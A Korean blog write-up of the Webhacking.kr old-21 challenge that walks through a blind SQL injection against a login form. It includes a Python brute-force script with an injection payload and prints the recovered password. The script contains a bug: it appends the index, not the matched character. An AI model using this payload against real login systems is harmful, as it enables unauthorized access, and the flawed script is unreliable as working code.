본문 바로가기

Web Hacking/Webhacking.kr

[Webhacking.kr] old-21 write up

 

이번 문제는 Blind SQL Injection이다. 서버측 코드를 모르기 때문에 로그인 시 반환되는 결과를 보고 비밀번호를 구해야 한다. 쿼리가 참을 반환할때와 거짓을 반환할때 반응이 다를 것이다. 

 

먼저 guest guest를 입력해본다.

 

 

guest가 존재하는 것 같다.

 

guest의 비밀번호가 guest인 것을 알았으므로 이를 가지고 테스트를 해볼 것이다. 먼저, substr 함수를 이용하면 비밀번호를 한 글자 씩 비교할 수 있다.

 

 

그전에 먼저 고의로 틀린 비밀번호를 입력해보니 다음과 같은 결과를 반환한다. 쿼리문이 거짓이 되었을 때 나오는 결과인 것 같다. 다음은 싱글쿼터를 탈출해서 쿼리문을 참으로 만들어보자.

 

 

쿼리문이 참이 될 경우는 'wrong password' 라는 문자열을 반환하고 있다. 이로써 쿼리문의 참, 거짓 결과에 따라 반환되는 문자열이 다름을 알았으므로 substr을 이용해 admin 비밀번호를 한 문자씩 비교할 수 있게 됐다.

 

파이썬을 이용해서 스크립트를 작성했다. 

 

import requests
import string
param = {
    "id": "admin",
    "pw": ""
}

ch = string.punctuation + string.ascii_lowercase + string.digits

query = "a' or substr(pw, {num}, 1)='{i}'#"
password = ''
for idx in range(1, 40):
    for i in ch:
        param["pw"] = query.format(num=idx, i=i)
        result = requests.get('https://webhacking.kr/challenge/bonus-1', params=param)
        if 'wrong password' in result.text:
            password += idx
            print(password)

 

 

guest의 비밀번호도 중복으로 출력되므로 guest를 제외한 문자열만 가져오자

 

there_is_no_rest_for_the_white_angel

 

 

구한 비밀번호를 입력하면

 

'Web Hacking > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-46 write up  (0) 2024.03.17
[Webhacking.kr] old-8 write up  (0) 2024.03.12
[Webhacking.kr] old-27 write up  (0) 2024.03.01
[Webhacking.kr] old-23 write up  (5) 2024.03.01
[Webhacking.kr] old-25 write up  (2) 2024.02.27